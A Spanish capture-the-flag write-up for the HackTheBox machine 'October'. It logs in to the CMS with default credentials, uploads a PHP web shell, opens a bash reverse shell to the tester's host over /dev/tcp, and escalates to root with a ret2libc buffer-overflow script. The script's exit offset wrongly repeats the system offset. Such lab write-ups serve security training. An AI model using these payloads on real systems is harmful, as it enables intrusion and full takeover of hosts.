Resumen
October de la plataforma HackTheBox es una máquina Linux de dificultad Medium creada por ch4p.
Se nos presenta una web con un CMS con credenciales por defecto en donde podremos subir un archivo php y posteriormente ejecutar comandos como el usuario www-data. Una vez dentro del host, podremos identificar un binario con permisos suid, el cual puede ser explotado con la técnica ret2libc
para obtener una shell como root.
Enumeración
Nmap
Puertos 22/tcp
y 80/tcp
abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80/tcp
Consultamos la web y nos encontramos ante un October CMS.
Antes de comenzar a hacer fuzzing, buscaremos october cms default credentials
en google. Los primeros resultados nos dan la siguiente información.
- Credenciales por defecto:
admin:admin
- Url de administración:
/backend
Utilizando curl
podemos validar esta ruta.
1
2
3
4
5
6
7
8
9
10
❯ curl -sI "10.129.96.113/backend"
HTTP/1.1 302 Found
Date: Thu, 26 Jan 2023 23:04:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Cache-Control: no-cache
Location: http://10.129.96.113/backend/backend/auth
Set-Cookie: october_session=eyJpdiI6IjdDM2hrYjFDRXdkd2VFZGhaTGZGaFE9PSIsInZhbHVlIjoiUU5hTkdVK2xUcjVEdGZuM1VqTkpVTkEwV0NtSEtuK2xNVFdkUGNmbmxURnR1clVzRlwvb2t0Mm5PZEJWKytMK0pcL1VSdnBKRTAxTE9hSFY3bDdWc1ZYZz09IiwibWFjIjoiMGIyNWU0YTE5MzdmOWMzYjJjZjJjM2QxYjMxNGFmYjY2ZmFlODAxNDMyNjQzNzEzOTZhMjk2MDE2MTIyZmJhNiJ9; expires=Fri, 27-Jan-2023 01:04:33 GMT; Max-Age=7200; path=/; httponly
Content-Type: text/html; charset=UTF-8
Recibiremos una redirección a http://10.129.96.113/backend/backend/auth
que nos lleva al panel de autenticación, donde ingresaremos las credenciales por defecto.
User: www-data
Así nada más ingresaremos al panel de administración del CMS.
Si vamos a media, encontraremos una interfaz donde subir documentos, videos y otros. Existe un archivo dr.php5
.
Por nuestra parte, subiremos una web shell simple con el siguiente código.
1
<?php system($_REQUEST['cmd']); ?>
Nos arroja un error, seguramente por la extensión, así que la volveremos a subir con extensión .php5
asumiendo que es válida.
Se sube correctamente y en el panel derecho nos dará la ruta en donde quedó la web shell.
1
2
❯ curl -s "http://10.129.96.113/storage/app/media/wshell.php5?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Validamos desde consola y efectivamente funciona sin problemas, estamos ejecutando comandos como el usuario www-data
.
1
❯ curl -s "http://10.129.96.113/storage/app/media/wshell.php5" -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.151/4646 0>&1'"
Nos entablaremos una reverse shell con bash.
1
2
3
4
5
6
❯ nc -nlvp 4646
Listening on 0.0.0.0 4646
Connection received on 10.129.96.113 60014
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/cms/storage/app/media$
Realizaremos un tratamiento de la tty e iniciaremos con la enumeración.
1
2
3
4
5
6
7
www-data@october:~$ find / -type f -perm 4755 2>/dev/null
<SNIP>
/usr/local/bin/ovrflw
www-data@october:~$ ls -la /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
Se descubre un binario con permisos SUID
que pertenece a root
. Con esto es posible escalar privilegios si podemos explotarlo.
1
2
3
www-data@october:~$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
Al ejecutarlo veremos que pide una string como argumento.
1
2
www-data@october:~$ /usr/local/bin/ovrflw $(python -c 'print "A"*500')
Segmentation fault (core dumped)
Si como argumento le pasamos 500 caracteres, recibiremos un Segmentation fault
, lo que es un indicador de que estamos antes un buffer overflow.
root
Checks previos
Para determinar que técnica debemos ejecutar para explotar exitosamente este bof
, es importante verificar primero ciertas características del binario y de la máquina víctima.
- Verificar arquitectura y protecciones del binario.
Ambos chequeos los podemos realizar con checksec
de pwntools.
Para esto primero deberemos descargar
ovrflw
hacia nuestro host.
1
2
3
4
5
6
7
❯ checksec ovrflw
[*] '/home/cervant/Documents/HTB/October/content/ovrflw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
El output nos muestra que es un binario de 32 bits y tiene NX
activado, lo cual nos impide ejecutar shellcode desde el stack.
- Verificar ASLR en la máquina víctima.
El archivo /proc/sys/kernel/randomize_va_space
mantiene esta configuración. Los posibles valores son los siguientes
- 0 = Disabled
- 1 = Conservative Randomization
- 2 = Full Randomization
1
2
www-data@october:~$ cat /proc/sys/kernel/randomize_va_space
2
ASLR
se encuentra habilitado, esto significa a grandes rasgos que cada vez que ejecutemos un proceso, este se ejecute en una dirección de memoria distinta cada vez.
- Determinar offset o padding.
Como vimos anteriormente, si le enviamos 500 caracteres provocaremos un Segmentation Fault
, pero para continuar con la explotación debemos saber la cantidad exacta de bytes para controlar el EIP
.
Utilizaremos gdb
con el plugin pwndbg desde nuestro host. Abrimos ovrflw
y generemos una cadena de 500 de longitud.
1
2
3
4
5
~/Documents/HTB/October/content ❯ gdb-pwndbg ovrflw
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg>
Lo ejecutamos y le pasamos la cadena como argumento.
1
pwndbg> run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
Entraremos en un breakpoint en donde veremos los valores en memoria, en EIP vemos la cadena daab
.
Esto lo buscamos con cyclic -l
para encontrar el offset.
1
2
3
pwndbg> cyclic -l daab
Lookup value: b'daab'
112
Buffer Overflow - ret2libc
En este caso la mejor opción sería realizar un ret2libc
, podemos guiarnos de un recurso de hacktricks.
- Obtener dirección de
libc
. - Dirección (offset) de
/bin/bash
- Dirección (offset) de
system
- Dirección (offset) de
exit
Primero deberemos obtener una dirección base de libc, con ldd
podemos ver las librerías compartidas de un binario y si lo ejecutamos unas cuantas veces veremos que la dirección cambia.
1
ldd /usr/local/bin/ovrflw | grep libc.so.6
Nos quedaremos con la dirección 0xb760d000
.
En el payload final deberemos realizar fuerza bruta con esta dirección, ya que estas se encuentran aleatorizadas.
1
2
www-data@october:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
162bac /bin/sh
Para /bin/sh
vemos la dirección 0x00162bac
.
1
2
3
www-data@october:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
Por último tenemos system 0x00040310
y exit 0x00033260
.
Ya teniendo todo esto podemos proceder a crear el script final. Utilizaremos la función pack de struct para formatear correctamente las direcciones de memoria y subprocess para hacer la llamada del binario y pasarle el payload como argumento.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from subprocess import call
from struct import pack
offset = 112
junk = b'A'*offset
libc_base = 0xb760d000
system_off = 0x00040310
exit_off = 0x00040310
binsh_off = 0x00162bac
system_addr = pack("<I", libc_base + system_off)
exit_addr = pack("<I", libc_base + exit_off)
binsh_addr = pack("<I", libc_base + binsh_off)
payload = junk + system_addr + exit_addr + binsh_addr
while True:
call(["/usr/local/bin/ovrflw", payload])
Una vez finalizado el exploit lo ejecutamos y conseguimos una consola como root
.
1
2
3
4
5
6
7
www-data@october:/dev/shm$ python3 exploit.py
*** Error in `/usr/local/bin/ovrflw': free(): invalid pointer: 0x0804823c ***
# whoami
root
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
#
Para encontrar las flag, lo podemos hacer fácilmente con find
.
1
2
3
bash-4.3# find / -type f -name "user.txt" -o -name "root.txt" 2>/dev/null
/home/harry/user.txt
/root/root.txt
Recursos
- ret2libc attack
- ret2libc lab
- Resolución de October por 0xdf - Writeup
- Resolución de October por s4vitar - Vídeo